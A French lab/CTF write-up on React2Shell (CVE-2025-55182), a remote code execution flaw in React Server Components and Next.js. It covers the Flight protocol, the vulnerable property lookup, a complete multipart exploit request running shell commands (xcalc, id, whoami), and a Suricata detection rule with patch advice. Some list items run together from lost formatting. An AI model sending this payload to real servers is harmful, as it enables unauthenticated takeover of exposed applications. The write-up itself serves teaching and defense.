
React2Shell CVE-2025-55182: unauthenticated unsafe deserialization in React Server Components leading to reliable remote code execution via the Flight protocol.
Difficulté : Intermédiaire → Avancé
Catégorie : Exploitation Web | Désérialisation | RCE

CVE-2025-55182, surnommée React2Shell, est l'une de ces vulnérabilités qui rend instantanément les défenseurs nerveux 😬. Découverte en décembre 2025, elle porte un score CVSS de 10.0, ce qui vous indique déjà qu'il ne s'agit pas d'un bogue anodin.
Fondamentalement, cette vulnérabilité affecte les composants serveur React (RSC) et les frameworks construits dessus — surtout Next.js. Ce qui fait peur ?
👉 Exécution de code à distance (RCE) non authentifiée 👉 Une seule requête HTTP fabriquée 👉 Les configurations par défaut sont vulnérables
Pas de connexion. Pas de permissions spéciales. Juste une requête bien formulée.
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopackCette salle vous explique pourquoi ce bogue existe, comment il est exploité et ce que les défenseurs peuvent y faire.
Drapeau : Aucune réponse nécessaire.
Avant l'exploitation, nous avons besoin de clarté architecturale.
Les composants serveur React (introduits dans React 19) permettent à des parties d'une application React de s'exécuter sur le serveur, pas dans le navigateur. Cela signifie :
La communication entre client et serveur se fait via le protocole React Flight. Ce protocole sérialise les données côté client et les désérialise côté serveur.
Il utilise des marqueurs spéciaux :
$@ → Référence de morceau
$B → Référence d'objet binaire (Blob)
Chemins de propriétés via la notation deux-points Exemple :
$1:constructor:constructor
⚠️ Et c'est exactement là que cette logique de sérialisation pose problème.
Question : Quel symbole désigne une référence Blob ?
✅ Réponse : $B
Au cœur de CVE-2025-55182 se trouve un défaut classique de désérialisation non sécurisée.
Regardons le motif vulnérable (ne coupez pas 👇) :
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... logique supplémentaire ...
return moduleExports[metadata[2]]; // LIGNE VULNÉRABLE
}
En JavaScript, la notation par crochets :
obj[someKey]
ne limite pas l'accès aux propriétés exportées uniquement. Elle parcourt toute la chaîne de prototypes.
Voici maintenant l'observation critique 👀 :
.constructorconstructor pointe vers le constructeur FunctionFunction("code") = exécution JavaScript arbitraireÉtant donné que le protocole Flight permet des chemins séparés par deux-points, un attaquant peut envoyer :
$1:constructor:constructor
Ce qui se résout en :
.constructor.constructor à nouveau → FunctionÀ ce stade, la partie est terminée 🎮.
Drapeau : Aucune réponse nécessaire.
Maintenant, décomposons le PoC de maple3142, étape par étape.
L'attaquant envoie une requête multipart contenant un objet Chunk factice :
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Cet objet imite la structure interne Chunk de React.
En pointant then vers Chunk.prototype.then, React est piégé pour attendre une logique contrôlée par l'attaquant.
Le marqueur $B1337 déclenche le gestionnaire de désérialisation Blob, qui exécute en interne :
response._formData.get(response._prefix + id)
Mais nous avons empoisonné :
_formData.get → Function_prefix → JavaScript malveillantRésultat de l'exécution :
Function("process.mainModule.require('child_process').execSync('xcalc');1337")
💥 Exécution JavaScript arbitraire obtenue.
Le PoC exécute :
process.mainModule
.require('child_process')
.execSync('xcalc')
Cela peut être trivialement remplacé par :
Drapeau : Aucune réponse nécessaire.
Voici la requête d'exploitation complète (textuelle, non rognée) :
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
(…le corps multipart continue…)
Next-Action déclenche les Actions Serveurmultipart/form-data est obligatoire$@0 crée une auto-référence$B1337 déclenche la logique Blobconstructor:constructor mène à FunctionCe n'est pas accidentel — c'est une chaîne précisément conçue.
React : 19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js :
Autres : React Router (RSC), Waku, Redwood SDK
📊 Recherche Wiz : 39 % des environnements cloud exposés 🌐 Shodan : 571 000+ serveurs React, 444 000+ Next.js
Ça fait… beaucoup 😶
D'abord dans Repeater, créez une nouvelle requête HTTP et sélectionnez la cible.

En utilisant Burp Suite Repeater, nous envoyons la charge utile :
execSync('id')

Et ensuite :
execSync('whoami')

Utilisateur : ubuntu
Drapeau :
{React-19.2.0}
Exploitation propre, fiable et reproductible 💀
Bonne nouvelle pour les défenseurs 👮♂️ — l'exploitation laisse des traces.
Next-Actionmultipart/form-data"status":"resolved_model""then":"$1:__proto__:then"Ceux-ci ne devraient jamais apparaître dans le trafic utilisateur normal.
alert http any any -> $LAN_NETWORK any (
msg:"Tentative potentielle de React2Shell / CVE-2025-66478 sur Next.js";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
{
"queries": {
"detect_rev2shell_react_server_components": {
"query": "SELECT name, version, path FROM npm_packages WHERE ...",
"interval": 3600
}
}
}
Parfait pour :

React2Shell est un exemple parfait de :
Une fois les versions corrigées installées et les recommandations de npm audit suivies, l'exploit meurt complètement ✅.
⚠️ Ne testez jamais cela en dehors de laboratoires autorisés.
🔥 Corrigez toujours rapidement.
🧠 Comprenez toujours pourquoi un bogue existe — pas seulement comment l'exploiter.
Si ce compte rendu vous a plu ou si vous souhaitez rester en contact avec mon travail en cybersécurité, CTF et VAPT :
🔗 GitHub : https://github.com/AdityaBhatt3010
💼 LinkedIn : https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium : https://medium.com/@adityabhatt3010
Bon hacking — de manière responsable 🗿🚀